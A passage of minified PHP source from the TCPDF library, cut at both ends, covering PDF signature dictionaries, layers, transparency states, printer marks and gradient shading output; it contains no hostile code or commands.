";$out.=\'<< /Type /Sig\';$out.=\' /Filter /Adobe.PPKLite\';$out.=\' /SubFilter /adbe.pkcs7.detached\';$out.=\' \'.TCPDF_STATIC::$byterange_string;$out.=\' /Contents<\'.str_repeat(\'0\',$this->signature_max_length).\'>\';if(empty($this->signature_data[\'approval\']) OR ($this->signature_data[\'approval\']!=\'A\')){$out.=\' /Reference [\';$out.=\' << /Type /SigRef\';if($this->signature_data[\'cert_type\']>0){$out.=\' /TransformMethod /DocMDP\';$out.=\' /TransformParams <<\';$out.=\' /Type /TransformParams\';$out.=\' /P \'.$this->signature_data[\'cert_type\'];$out.=\' /V /1.2\';}else {$out.=\' /TransformMethod /UR3\';$out.=\' /TransformParams <<\';$out.=\' /Type /TransformParams\';$out.=\' /V /2.2\';if(!TCPDF_STATIC::empty_string($this->ur[\'document\'])){$out.=\' /Document[\'.$this->ur[\'document\'].\']\';}if(!TCPDF_STATIC::empty_string($this->ur[\'form\'])){$out.=\' /Form[\'.$this->ur[\'form\'].\']\';}if(!TCPDF_STATIC::empty_string($this->ur[\'signature\'])){$out.=\' /Signature[\'.$this->ur[\'signature\'].\']\';}if(!TCPDF_STATIC::empty_string($this->ur[\'annots\'])){$out.=\' /Annots[\'.$this->ur[\'annots\'].\']\';}if(!TCPDF_STATIC::empty_string($this->ur[\'ef\'])){$out.=\' /EF[\'.$this->ur[\'ef\'].\']\';}if(!TCPDF_STATIC::empty_string($this->ur[\'formex\'])){$out.=\' /FormEX[\'.$this->ur[\'formex\'].\']\';}}$out.=\' >>\';$out.=\' >>\';$out.=\' ]\';}if(isset($this->signature_data[\'info\'][\'Name\']) AND !TCPDF_STATIC::empty_string($this->signature_data[\'info\'][\'Name\'])){$out.=\' /Name \'.$this->_textstring($this->signature_data[\'info\'][\'Name\'],$sigobjid);}if(isset($this->signature_data[\'info\'][\'Location\']) AND !TCPDF_STATIC::empty_string($this->signature_data[\'info\'][\'Location\'])){$out.=\' /Location \'.$this->_textstring($this->signature_data[\'info\'][\'Location\'],$sigobjid);}if(isset($this->signature_data[\'info\'][\'Reason\']) AND !TCPDF_STATIC::empty_string($this->signature_data[\'info\'][\'Reason\'])){$out.=\' /Reason \'.$this->_textstring($this->signature_data[\'info\'][\'Reason\'],$sigobjid);}if(isset($this->signature_data[\'info\'][\'ContactInfo\']) AND !TCPDF_STATIC::empty_string($this->signature_data[\'info\'][\'ContactInfo\'])){$out.=\' /ContactInfo \'.$this->_textstring($this->signature_data[\'info\'][\'ContactInfo\'],$sigobjid);}$out.=\' /M \'.$this->_datestring($sigobjid,$this->doc_modification_timestamp);$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);} function setUserRights($enable=true,$document=\'/FullSave\',$annots=\'/Create/Delete/Modify/Copy/Import/Export\',$form=\'/Add/Delete/FillIn/Import/Export/SubmitStandalone/SpawnTemplate\',$signature=\'/Modify\',$ef=\'/Create/Delete/Modify/Import\',$formex=\'\'){$this->ur[\'enabled\']=$enable;$this->ur[\'document\']=$document;$this->ur[\'annots\']=$annots;$this->ur[\'form\']=$form;$this->ur[\'signature\']=$signature;$this->ur[\'ef\']=$ef;$this->ur[\'formex\']=$formex;if(!$this->sign){$this->setSignature(\'\',\'\',\'\',\'\',0,array());}} function setSignature($signing_cert=\'\',$private_key=\'\',$private_key_password=\'\',$extracerts=\'\',$cert_type=2,$info=array(),$approval=\'\'){$this->sign=true;++$this->n;$this->sig_obj_id=$this->n;++$this->n;$this->signature_data=array();if(strlen($signing_cert)==0){$this->Error(\'Please provide a certificate file and password!\');}if(strlen($private_key)==0){$private_key=$signing_cert;}$this->signature_data[\'signcert\']=$signing_cert;$this->signature_data[\'privkey\']=$private_key;$this->signature_data[\'password\']=$private_key_password;$this->signature_data[\'extracerts\']=$extracerts;$this->signature_data[\'cert_type\']=$cert_type;$this->signature_data[\'info\']=$info;$this->signature_data[\'approval\']=$approval;} function setSignatureAppearance($x=0,$y=0,$w=0,$h=0,$page=-1,$name=\'\'){$this->signature_appearance=$this->getSignatureAppearanceArray($x,$y,$w,$h,$page,$name);} function addEmptySignatureAppearance($x=0,$y=0,$w=0,$h=0,$page=-1,$name=\'\'){++$this->n;$this->empty_signature_appearance[]=array(\'objid\'=>$this->n)+$this->getSignatureAppearanceArray($x,$y,$w,$h,$page,$name);} function getSignatureAppearanceArray($x=0,$y=0,$w=0,$h=0,$page=-1,$name=\'\'){$sigapp=array();if(($page<1) OR ($page>$this->numpages)){$sigapp[\'page\']=$this->page;}else {$sigapp[\'page\']=intval($page);}if(empty($name)){$sigapp[\'name\']=\'Signature\';}else {$sigapp[\'name\']=$name;}$a=$x*$this->k;$b=$this->pagedim[($sigapp[\'page\'])][\'h\']-(($y+$h)*$this->k);$c=$w*$this->k;$d=$h*$this->k;$sigapp[\'rect\']=sprintf(\'%F %F %F %F\',$a,$b,($a+$c),($b+$d));return $sigapp;} function setTimeStamp($tsa_host=\'\',$tsa_username=\'\',$tsa_password=\'\',$tsa_cert=\'\'){$this->tsa_data=array();if(!function_exists(\'curl_init\')){$this->Error(\'Please enable cURL PHP extension!\');}if(strlen($tsa_host)==0){$this->Error(\'Please specify the host of Time Stamping Authority (TSA)!\');}$this->tsa_data[\'tsa_host\']=$tsa_host;if(is_file($tsa_username)){$this->tsa_data[\'tsa_auth\']=$tsa_username;}else {$this->tsa_data[\'tsa_username\']=$tsa_username;}$this->tsa_data[\'tsa_password\']=$tsa_password;$this->tsa_data[\'tsa_cert\']=$tsa_cert;$this->tsa_timestamp=true;} function applyTSA($signature){if(!$this->tsa_timestamp){return $signature;}return $signature;} function startPageGroup($page=\'\'){if(empty($page)){$page=$this->page+1;}$this->newpagegroup[$page]=sizeof($this->newpagegroup)+1;} function setStartingPageNumber($num=1){$this->starting_page_number=max(0,intval($num));} function getAliasRightShift(){$ref=\'{\'.TCPDF_STATIC::$alias_right_shift.\'}{\'.TCPDF_STATIC::$alias_tot_pages.\'}{\'.TCPDF_STATIC::$alias_num_page.\'}\';$rep=str_repeat(\' \',$this->GetNumChars($ref));$wrep=$this->GetStringWidth($rep);if($wrep>0){$wdiff=max(1,($this->GetStringWidth($ref)/$wrep));}else {$wdiff=1;}$sdiff=sprintf(\'%F\',$wdiff);$alias=TCPDF_STATIC::$alias_right_shift.$sdiff.\'}\';if($this->isUnicodeFont()){$alias=\'{\'.$alias;}return $alias;} function getAliasNbPages(){if($this->isUnicodeFont()){return \'{\'.TCPDF_STATIC::$alias_tot_pages.\'}\';}return TCPDF_STATIC::$alias_tot_pages;} function getAliasNumPage(){if($this->isUnicodeFont()){return \'{\'.TCPDF_STATIC::$alias_num_page.\'}\';}return TCPDF_STATIC::$alias_num_page;} function getPageGroupAlias(){if($this->isUnicodeFont()){return \'{\'.TCPDF_STATIC::$alias_group_tot_pages.\'}\';}return TCPDF_STATIC::$alias_group_tot_pages;} function getPageNumGroupAlias(){if($this->isUnicodeFont()){return \'{\'.TCPDF_STATIC::$alias_group_num_page.\'}\';}return TCPDF_STATIC::$alias_group_num_page;} function getGroupPageNo(){return $this->pagegroups[$this->currpagegroup];} function getGroupPageNoFormatted(){return TCPDF_STATIC::formatPageNumber($this->getGroupPageNo());} function PageNoFormatted(){return TCPDF_STATIC::formatPageNumber($this->PageNo());} function _putocg(){if(empty($this->pdflayers)){return;}foreach($this->pdflayers as $key=>$layer){$this->pdflayers[$key][\'objid\']=$this->_newobj();$out=\'<< /Type /OCG\';$out.=\' /Name \'.$this->_textstring($layer[\'name\'],$this->pdflayers[$key][\'objid\']);$out.=\' /Usage <<\';if(isset($layer[\'print\']) AND ($layer[\'print\']!==NULL)){$out.=\' /Print <</PrintState /\'.($layer[\'print\']?\'ON\':\'OFF\').\'>>\';}$out.=\' /View <</ViewState /\'.($layer[\'view\']?\'ON\':\'OFF\').\'>>\';$out.=\' >> >>\';$out.="
".\'endobj\';$this->_out($out);}} function startLayer($name=\'\',$print=true,$view=true,$lock=true){if($this->state!=2){return;}$layer=sprintf(\'LYR%03d\',(count($this->pdflayers)+1));if(empty($name)){$name=$layer;}else {$name=preg_replace(\'/[^a-zA-Z0-9_\-]/\',\'\',$name);}$this->pdflayers[]=array(\'layer\'=>$layer,\'name\'=>$name,\'print\'=>$print,\'view\'=>$view,\'lock\'=>$lock);$this->openMarkedContent=true;$this->_out(\'/OC /\'.$layer.\' BDC\');} function endLayer(){if($this->state!=2){return;}if($this->openMarkedContent){$this->_out(\'EMC\');$this->openMarkedContent=false;}} function setVisibility($v){if($this->state!=2){return;}$this->endLayer();switch($v){case \'print\':{$this->startLayer(\'Print\',true,false);break;}case \'view\':case \'screen\':{$this->startLayer(\'View\',false,true);break;}case \'all\':{$this->_out(\'\');break;}default:{$this->Error(\'Incorrect visibility: \'.$v);break;}}} function addExtGState($parms){if($this->pdfa_mode){return;}foreach($this->extgstates as $i=>$ext){if($ext[\'parms\']==$parms){if($this->inxobj){$this->xobjects[$this->xobjid][\'extgstates\'][$i]=$ext;}return $i;}}$n=(count($this->extgstates)+1);$this->extgstates[$n]=array(\'parms\'=>$parms);if($this->inxobj){$this->xobjects[$this->xobjid][\'extgstates\'][$n]=$this->extgstates[$n];}return $n;} function setExtGState($gs){if($this->pdfa_mode OR ($this->state!=2)){return;}$this->_out(sprintf(\'/GS%d gs\',$gs));} function _putextgstates(){foreach($this->extgstates as $i=>$ext){$this->extgstates[$i][\'n\']=$this->_newobj();$out=\'<< /Type /ExtGState\';foreach($ext[\'parms\'] as $k=>$v){if(is_float($v)){$v=sprintf(\'%F\',$v);}elseif($v===true){$v=\'true\';}elseif($v===false){$v=\'false\';}$out.=\' /\'.$k.\' \'.$v;}$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);}} function setOverprint($stroking=true,$nonstroking=\'\',$mode=0){if($this->state!=2){return;}$stroking=$stroking?true:false;if(TCPDF_STATIC::empty_string($nonstroking)){$nonstroking=$stroking;}else {$nonstroking=$nonstroking?true:false;}if(($mode!=0) AND ($mode!=1)){$mode=0;}$this->overprint=array(\'OP\'=>$stroking,\'op\'=>$nonstroking,\'OPM\'=>$mode);$gs=$this->addExtGState($this->overprint);$this->setExtGState($gs);} function getOverprint(){return $this->overprint;} function setAlpha($stroking=1,$bm=\'Normal\',$nonstroking=\'\',$ais=false){if($this->pdfa_mode){return;}$stroking=floatval($stroking);if(TCPDF_STATIC::empty_string($nonstroking)){$nonstroking=$stroking;}else {$nonstroking=floatval($nonstroking);}if($bm[0]==\'/\'){$bm=substr($bm,1);}if(!in_array($bm,array(\'Normal\',\'Multiply\',\'Screen\',\'Overlay\',\'Darken\',\'Lighten\',\'ColorDodge\',\'ColorBurn\',\'HardLight\',\'SoftLight\',\'Difference\',\'Exclusion\',\'Hue\',\'Saturation\',\'Color\',\'Luminosity\'))){$bm=\'Normal\';}$ais=$ais?true:false;$this->alpha=array(\'CA\'=>$stroking,\'ca\'=>$nonstroking,\'BM\'=>\'/\'.$bm,\'AIS\'=>$ais);$gs=$this->addExtGState($this->alpha);$this->setExtGState($gs);} function getAlpha(){return $this->alpha;} function setJPEGQuality($quality){if(($quality<1) OR ($quality>100)){$quality=75;}$this->jpeg_quality=intval($quality);} function setDefaultTableColumns($cols=4){$this->default_table_columns=intval($cols);} function setCellHeightRatio($h){$this->cell_height_ratio=$h;} function getCellHeightRatio(){return $this->cell_height_ratio;} function setPDFVersion($version=\'1.7\'){if($this->pdfa_mode){$this->PDFVersion=\'1.4\';}else {$this->PDFVersion=$version;}} function setViewerPreferences($preferences){$this->viewer_preferences=$preferences;} function colorRegistrationBar($x,$y,$w,$h,$transition=true,$vertical=false,$colors=\'A,R,G,B,C,M,Y,K\'){if(strpos($colors,\'ALLSPOT\')!==false){$spot_colors=\'\';foreach($this->spot_colors as $spot_color_name=>$v){$spot_colors.=\',\'.$spot_color_name;}if(!empty($spot_colors)){$spot_colors=substr($spot_colors,1);$colors=str_replace(\'ALLSPOT\',$spot_colors,$colors);}else {$colors=str_replace(\'ALLSPOT\',\'NONE\',$colors);}}$bars=explode(\',\',$colors);$numbars=count($bars);if($numbars<=0){return;}if($vertical){$coords=array(0,0,0,1);$wb=$w/$numbars;$hb=$h;$xd=$wb;$yd=0;}else {$coords=array(1,0,0,0);$wb=$w;$hb=$h/$numbars;$xd=0;$yd=$hb;}$xb=$x;$yb=$y;foreach($bars as $col){switch($col){case \'A\':{$col_a=array(255);$col_b=array(0);break;}case \'W\':{$col_a=array(0);$col_b=array(255);break;}case \'R\':{$col_a=array(255,255,255);$col_b=array(255,0,0);break;}case \'G\':{$col_a=array(255,255,255);$col_b=array(0,255,0);break;}case \'B\':{$col_a=array(255,255,255);$col_b=array(0,0,255);break;}case \'C\':{$col_a=array(0,0,0,0);$col_b=array(100,0,0,0);break;}case \'M\':{$col_a=array(0,0,0,0);$col_b=array(0,100,0,0);break;}case \'Y\':{$col_a=array(0,0,0,0);$col_b=array(0,0,100,0);break;}case \'K\':{$col_a=array(0,0,0,0);$col_b=array(0,0,0,100);break;}case \'RGB\':{$col_a=array(255,255,255);$col_b=array(0,0,0);break;}case \'CMYK\':{$col_a=array(0,0,0,0);$col_b=array(100,100,100,100);break;}case \'ALL\':{$col_a=array(0,0,0,0,\'None\');$col_b=array(100,100,100,100,\'All\');break;}case \'NONE\':{$col_a=array(0,0,0,0,\'None\');$col_b=array(0,0,0,0,\'None\');break;}default:{$col_a=array(0,0,0,0,\'None\');$col_b=TCPDF_COLORS::getSpotColor($col,$this->spot_colors);if($col_b===false){$col_b=array(100,100,100,100,\'All\');}break;}}if($col!=\'NONE\'){if($transition){$this->LinearGradient($xb,$yb,$wb,$hb,$col_a,$col_b,$coords);}else {$this->SetFillColorArray($col_b);$this->Rect($xb,$yb,$wb,$hb,\'F\',array());}$xb+=$xd;$yb+=$yd;}}} function cropMark($x,$y,$w,$h,$type=\'T,R,B,L\',$color=array(100,100,100,100,\'All\')){$this->SetLineStyle(array(\'width\'=>(0.5/$this->k),\'cap\'=>\'butt\',\'join\'=>\'miter\',\'dash\'=>0,\'color\'=>$color));$type=strtoupper($type);$type=preg_replace(\'/[^A-Z\-\,]*/\',\'\',$type);$type=str_replace(\'-\',\',\',$type);$type=str_replace(\'TL\',\'T,L\',$type);$type=str_replace(\'TR\',\'T,R\',$type);$type=str_replace(\'BL\',\'F,L\',$type);$type=str_replace(\'BR\',\'F,R\',$type);$type=str_replace(\'A\',\'T,L\',$type);$type=str_replace(\'B\',\'T,R\',$type);$type=str_replace(\'T,RO\',\'BO\',$type);$type=str_replace(\'C\',\'F,L\',$type);$type=str_replace(\'D\',\'F,R\',$type);$crops=explode(\',\',strtoupper($type));$crops=array_unique($crops);$dw=($w/4);$dh=($h/4);foreach($crops as $crop){switch($crop){case \'T\':case \'TOP\':{$x1=$x;$y1=($y-$h);$x2=$x;$y2=($y-$dh);break;}case \'F\':case \'BOTTOM\':{$x1=$x;$y1=($y+$dh);$x2=$x;$y2=($y+$h);break;}case \'L\':case \'LEFT\':{$x1=($x-$w);$y1=$y;$x2=($x-$dw);$y2=$y;break;}case \'R\':case \'RIGHT\':{$x1=($x+$dw);$y1=$y;$x2=($x+$w);$y2=$y;break;}}$this->Line($x1,$y1,$x2,$y2);}} function registrationMark($x,$y,$r,$double=false,$cola=array(100,100,100,100,\'All\'),$colb=array(0,0,0,0,\'None\')){$line_style=array(\'width\'=>max((0.5/$this->k),($r/30)),\'cap\'=>\'butt\',\'join\'=>\'miter\',\'dash\'=>0,\'color\'=>$cola);$this->SetFillColorArray($cola);$this->PieSector($x,$y,$r,90,180,\'F\');$this->PieSector($x,$y,$r,270,360,\'F\');$this->Circle($x,$y,$r,0,360,\'C\',$line_style,array(),8);if($double){$ri=$r*0.5;$this->SetFillColorArray($colb);$this->PieSector($x,$y,$ri,90,180,\'F\');$this->PieSector($x,$y,$ri,270,360,\'F\');$this->SetFillColorArray($cola);$this->PieSector($x,$y,$ri,0,90,\'F\');$this->PieSector($x,$y,$ri,180,270,\'F\');$this->Circle($x,$y,$ri,0,360,\'C\',$line_style,array(),8);}} function registrationMarkCMYK($x,$y,$r){$lw=max((0.5/$this->k),($r/8));$ri=($r*0.6);$re=($r*1.3);$this->SetFillColorArray(array(100,0,0,0));$this->PieSector($x,$y,$ri,270,360,\'F\');$this->SetFillColorArray(array(0,100,0,0));$this->PieSector($x,$y,$ri,0,90,\'F\');$this->SetFillColorArray(array(0,0,100,0));$this->PieSector($x,$y,$ri,90,180,\'F\');$this->SetFillColorArray(array(0,0,0,100));$this->PieSector($x,$y,$ri,180,270,\'F\');$line_style=array(\'width\'=>$lw,\'cap\'=>\'butt\',\'join\'=>\'miter\',\'dash\'=>0,\'color\'=>array(100,100,100,100,\'All\'));$this->SetFillColorArray(array(100,100,100,100,\'All\'));$this->Circle($x,$y,$r,0,360,\'C\',$line_style,array(),8);$this->Line($x,($y-$re),$x,($y-$ri));$this->Line($x,($y+$ri),$x,($y+$re));$this->Line(($x-$re),$y,($x-$ri),$y);$this->Line(($x+$ri),$y,($x+$re),$y);} function LinearGradient($x,$y,$w,$h,$col1=array(),$col2=array(),$coords=array(0,0,1,0)){$this->Clip($x,$y,$w,$h);$this->Gradient(2,$coords,array(array(\'color\'=>$col1,\'offset\'=>0,\'exponent\'=>1),array(\'color\'=>$col2,\'offset\'=>1,\'exponent\'=>1)),array(),false);} function RadialGradient($x,$y,$w,$h,$col1=array(),$col2=array(),$coords=array(0.5,0.5,0.5,0.5,1)){$this->Clip($x,$y,$w,$h);$this->Gradient(3,$coords,array(array(\'color\'=>$col1,\'offset\'=>0,\'exponent\'=>1),array(\'color\'=>$col2,\'offset\'=>1,\'exponent\'=>1)),array(),false);} function CoonsPatchMesh($x,$y,$w,$h,$col1=array(),$col2=array(),$col3=array(),$col4=array(),$coords=array(0.00,0.0,0.33,0.00,0.67,0.00,1.00,0.00,1.00,0.33,1.00,0.67,1.00,1.00,0.67,1.00,0.33,1.00,0.00,1.00,0.00,0.67,0.00,0.33),$coords_min=0,$coords_max=1,$antialias=false){if($this->pdfa_mode OR ($this->state!=2)){return;}$this->Clip($x,$y,$w,$h);$n=count($this->gradients)+1;$this->gradients[$n]=array();$this->gradients[$n][\'type\']=6;$this->gradients[$n][\'coords\']=array();$this->gradients[$n][\'antialias\']=$antialias;$this->gradients[$n][\'colors\']=array();$this->gradients[$n][\'transparency\']=false;if(!isset($coords[0][\'f\'])){if(!isset($col1[1])){$col1[1]=$col1[2]=$col1[0];}if(!isset($col2[1])){$col2[1]=$col2[2]=$col2[0];}if(!isset($col3[1])){$col3[1]=$col3[2]=$col3[0];}if(!isset($col4[1])){$col4[1]=$col4[2]=$col4[0];}$patch_array[0][\'f\']=0;$patch_array[0][\'points\']=$coords;$patch_array[0][\'colors\'][0][\'r\']=$col1[0];$patch_array[0][\'colors\'][0][\'g\']=$col1[1];$patch_array[0][\'colors\'][0][\'b\']=$col1[2];$patch_array[0][\'colors\'][1][\'r\']=$col2[0];$patch_array[0][\'colors\'][1][\'g\']=$col2[1];$patch_array[0][\'colors\'][1][\'b\']=$col2[2];$patch_array[0][\'colors\'][2][\'r\']=$col3[0];$patch_array[0][\'colors\'][2][\'g\']=$col3[1];$patch_array[0][\'colors\'][2][\'b\']=$col3[2];$patch_array[0][\'colors\'][3][\'r\']=$col4[0];$patch_array[0][\'colors\'][3][\'g\']=$col4[1];$patch_array[0][\'colors\'][3][\'b\']=$col4[2];}else {$patch_array=$coords;}$bpcd=65535;$this->gradients[$n][\'stream\']=\'\';$count_patch=count($patch_array);for($i=0;$i<$count_patch;++$i){$this->gradients[$n][\'stream\'].=chr($patch_array[$i][\'f\']);$count_points=count($patch_array[$i][\'points\']);for($j=0;$j<$count_points;++$j){$patch_array[$i][\'points\'][$j]=(($patch_array[$i][\'points\'][$j]-$coords_min)/($coords_max-$coords_min))*$bpcd;if($patch_array[$i][\'points\'][$j]<0){$patch_array[$i][\'points\'][$j]=0;}if($patch_array[$i][\'points\'][$j]>$bpcd){$patch_array[$i][\'points\'][$j]=$bpcd;}$this->gradients[$n][\'stream\'].=chr(floor($patch_array[$i][\'points\'][$j]/256));$this->gradients[$n][\'stream\'].=chr(floor($patch_array[$i][\'points\'][$j]%256));}$count_cols=count($patch_array[$i][\'colors\']);for($j=0;$j<$count_cols;++$j){$this->gradients[$n][\'stream\'].=chr($patch_array[$i][\'colors\'][$j][\'r\']);$this->gradients[$n][\'stream\'].=chr($patch_array[$i][\'colors\'][$j][\'g\']);$this->gradients[$n][\'stream\'].=chr($patch_array[$i][\'colors\'][$j][\'b\']);}}$this->_out(\'/Sh\'.$n.\' sh\');$this->_outRestoreGraphicsState();if($this->inxobj){$this->xobjects[$this->xobjid][\'gradients\'][$n]=$this->gradients[$n];}} function Clip($x,$y,$w,$h){if($this->state!=2){return;}if($this->rtl){$x=$this->w-$x-$w;}$s=\'q\';$s.=sprintf(\' %F %F %F %F re W n\',$x*$this->k,($this->h-$y)*$this->k,$w*$this->k,-$h*$this->k);$s.=sprintf(\' %F 0 0 %F %F %F cm\',$w*$this->k,$h*$this->k,$x*$this->k,($this->h-($y+$h))*$this->k);$this->_out($s);} function Gradient($type,$coords,$stops,$background=array(),$antialias=false){if($this->pdfa_mode OR ($this->state!=2)){return;}$n=count($this->gradients)+1;$this->gradients[$n]=array();$this->gradients[$n][\'type\']=$type;$this->gradients[$n][\'coords\']=$coords;$this->gradients[$n][\'antialias\']=$antialias;$this->gradients[$n][\'colors\']=array();$this->gradients[$n][\'transparency\']=false;$numcolspace=count($stops[0][\'color\']);$bcolor=array_values($background);switch($numcolspace){case 5:case 4:{$this->gradients[$n][\'colspace\']=\'DeviceCMYK\';if(!empty($background)){$this->gradients[$n][\'background\']=sprintf(\'%F %F %F %F\',$bcolor[0]/100,$bcolor[1]/100,$bcolor[2]/100,$bcolor[3]/100);}break;}case 3:{$this->gradients[$n][\'colspace\']=\'DeviceRGB\';if(!empty($background)){$this->gradients[$n][\'background\']=sprintf(\'%F %F %F\',$bcolor[0]/255,$bcolor[1]/255,$bcolor[2]/255);}break;}case 1:{$this->gradients[$n][\'colspace\']=\'DeviceGray\';if(!empty($background)){$this->gradients[$n][\'background\']=sprintf(\'%F\',$bcolor[0]/255);}break;}}$num_stops=count($stops);$last_stop_id=$num_stops-1;foreach($stops as $key=>$stop){$this->gradients[$n][\'colors\'][$key]=array();if(isset($stop[\'offset\'])){$this->gradients[$n][\'colors\'][$key][\'offset\']=$stop[\'offset\'];}else {if($key==0){$this->gradients[$n][\'colors\'][$key][\'offset\']=0;}elseif($key==$last_stop_id){$this->gradients[$n][\'colors\'][$key][\'offset\']=1;}else {$offsetstep=(1-$this->gradients[$n][\'colors\'][($key-1)][\'offset\'])/($num_stops-$key);$this->gradients[$n][\'colors\'][$key][\'offset\']=$this->gradients[$n][\'colors\'][($key-1)][\'offset\']+$offsetstep;}}if(isset($stop[\'opacity\'])){$this->gradients[$n][\'colors\'][$key][\'opacity\']=$stop[\'opacity\'];if((!$this->pdfa_mode) AND ($stop[\'opacity\']<1)){$this->gradients[$n][\'transparency\']=true;}}else {$this->gradients[$n][\'colors\'][$key][\'opacity\']=1;}if(isset($stop[\'exponent\'])){$this->gradients[$n][\'colors\'][$key][\'exponent\']=$stop[\'exponent\'];}else {$this->gradients[$n][\'colors\'][$key][\'exponent\']=1;}$color=array_values($stop[\'color\']);switch($numcolspace){case 5:case 4:{$this->gradients[$n][\'colors\'][$key][\'color\']=sprintf(\'%F %F %F %F\',$color[0]/100,$color[1]/100,$color[2]/100,$color[3]/100);break;}case 3:{$this->gradients[$n][\'colors\'][$key][\'color\']=sprintf(\'%F %F %F\',$color[0]/255,$color[1]/255,$color[2]/255);break;}case 1:{$this->gradients[$n][\'colors\'][$key][\'color\']=sprintf(\'%F\',$color[0]/255);break;}}}if($this->gradients[$n][\'transparency\']){$this->_out(\'/TGS\'.$n.\' gs\');}$this->_out(\'/Sh\'.$n.\' sh\');$this->_outRestoreGraphicsState();if($this->inxobj){$this->xobjects[$this->xobjid][\'gradients\'][$n]=$this->gradients[$n];}}function _putshaders(){if($this->pdfa_mode){return;}$idt=count($this->gradients);foreach($this->gradients as $id=>$grad){if(($grad[\'type\']==2) OR ($grad[\'type\']==3)){$fc=$this->_newobj();$out=\'<<\';$out.=\' /FunctionType 3\';$out.=\' /Domain [0 1]\';$functions=\'\';$bounds=\'\';$encode=\'\';$i=1;$num_cols=count($grad[\'colors\']);$lastcols=$num_cols-1;for($i=1;$i<$num_cols;++$i){$functions.=($fc+$i).\' 0 R \';if($i<$lastcols){$bounds.=sprintf(\'%F \',$grad[\'colors\'][$i][\'offset\']);}$encode.=\'0 1 \';}$out.=\' /Functions [\'.trim($functions).\']\';$out.=\' /Bounds [\'.trim($bounds).\']\';$out.=\' /Encode [\'.trim($encode).\']\';$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);for($i=1;$i<$num_cols;++$i){$this->_newobj();$out=\'<<\';$out.=\' /FunctionType 2\';$out.=\' /Domain [0 1]\';$out.=\' /C0 [\'.$grad[\'colors\'][($i-1)][\'color\'].\']\';$out.=\' /C1 [\'.$grad[\'colors\'][$i][\'color\'].\']\';$out.=\' /N \'.$grad[\'colors\'][$i][\'exponent\'];$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);}if($grad[\'transparency\']){$ft=$this->_newobj();$out=\'<<\';$out.=\' /FunctionType 3\';$out.=\' /Domain [0 1]\';$functions=\'\';$i=1;$num_cols=count($grad[\'colors\']);for($i=1;$i<$num_cols;++$i){$functions.=($ft+$i).\' 0 R \';}$out.=\' /Functions [\'.trim($functions).\']\';$out.=\' /Bounds [\'.trim($bounds).\']\';$out.=\' /Encode [\'.trim($encode).\']\';$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);for($i=1;$i<$num_cols;++$i){$this->_newobj();$out=\'<<\';$out.=\' /FunctionType 2\';$out.=\' /Domain [0 1]\';$out.=\' /C0 [\'.$grad[\'colors\'][($i-1)][\'opacity\'].\']\';$out.=\' /C1 [\'.$grad[\'colors\'][$i][\'opacity\'].\']\';$out.=\' /N \'.$grad[\'colors\'][$i][\'exponent\'];$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);}}}$this->_newobj();$out=\'<< /ShadingType \'.$grad[\'type\'];if(isset($grad[\'colspace\'])){$out.=\' /ColorSpace /\'.$grad[\'colspace\'];}else {$out.=\' /ColorSpace /DeviceRGB\';}if(isset($grad[\'background\']) AND !empty($grad[\'background\'])){$out.=\' /Background [\'.$grad[\'background\'].\']\';}if(isset($grad[\'antialias\']) AND ($grad[\'antialias\']===true)){$out.=\' /AntiAlias true\';}if($grad[\'type\']==2){$out.=\' \'.sprintf(\'/Coords [%F %F %F %F]\',$grad[\'coords\'][0],$grad[\'coords\'][1],$grad[\'coords\'][2],$grad[\'coords\'][3]);$out.=\' /Domain [0 1]\';$out.=\' /Function \'.$fc.\' 0 R\';$out.=\' /Extend [true true]\';$out.=\' >>\';}elseif($grad[\'type\']==3){$out.=\' \'.sprintf(\'/Coords [%F %F 0 %F %F %F]\',$grad[\'coords\'][0],$grad[\'coords\'][1],$grad[\'coords\'][2],$grad[\'coords\'][3],$grad[\'coords\'][4]);$out.=\' /Domain [0 1]\';$out.=\' /Function \'.$fc.\' 0 R\';$out.=\' /Extend [true true]\';$out.=\' >>\';}elseif($grad[\'type\']==6){$out.=\' /BitsPerCoordinate 16\';$out.=\' /BitsPerComponent 8\';$out.=\' /Decode[0 1 0 1 0 1 0 1 0 1]\';$out.=\' /BitsPerFlag 8\';$stream=$this->_getrawstream($grad[\'stream\']);$out.=\' /Length \'.strlen($stream);$out.=\' >>\';$out.=\' stream\'."
".$stream."
".\'endstream\';}$out.="
".\'endobj\';$this->_out($out);if($grad[\'transparency\']){$shading_transparency=preg_replace(\'/\/ColorSpace \/[^\s]+/si\',\'/ColorSpace /DeviceGray\',$out);$shading_transparency=preg_replace(\'/\/Function [0-9]+ /si\',\'/Function \'.$ft.\' \',$shading_transparency);}$this->gradients[$id][\'id\']=$this->n;$this->_newobj();$out=\'<< /Type /Pattern /PatternType 2\';$out.=\' /Shading \'.$this->gradients[$id][\'id\'].\' 0 R\';$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);$this->gradients[$id][\'pattern\']=$this->n;if($grad[\'transparency\']){$idgs=$id+$idt;$this->_newobj();$this->_out($shading_transparency);$this->gradients[$idgs][\'id\']=$this->n;$this->_newobj();$out=\'<< /Type /Pattern /PatternType 2\';$out.=\' /Shading \'.$this->gradients[$idgs][\'id\'].\' 0 R\';$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);$this->gradients[$idgs][\'pattern\']=$this->n;$oid=$this->_newobj();$this->xobjects[\'LX\'.$oid]=array(\'n\'=>$oid);$filter=\'\';$stream=\'q /a0 gs /Pattern cs /p\'.$idgs.\' scn 0 0 \'.$this->wPt.\' \'.$this->hPt.\' re f Q\';if($this->compress){$filter=\' /Filter /FlateDecode\';$stream=gzcompress($stream);}$stream=$this->_getrawstream($stream);$out=\'<< /Type /XObject /Subtype /Form /FormType 1\'.$filter;$out.=\' /Length \'.strlen($stream);$rect=sprintf(\'%F %F\',$this->wPt,$this->hPt);$out.=\' /BBox [0 0 \'.$rect.\']\';$out.=\' /Group << /Type /Group /S /Transparency /CS /DeviceGray >>\';$out.=\' /Resources <<\';$out.=\' /ExtGState << /a0 << /ca 1 /CA 1 >> >>\';$out.=\' /Pattern << /p\'.$idgs.\' \'.$this->gradients[$idgs][\'pattern\'].\' 0 R >>\';$out.=\' >>\';$out.=\' >> \';$out.=\' stream\'."
".$stream."
".\'endstream\';$out.="
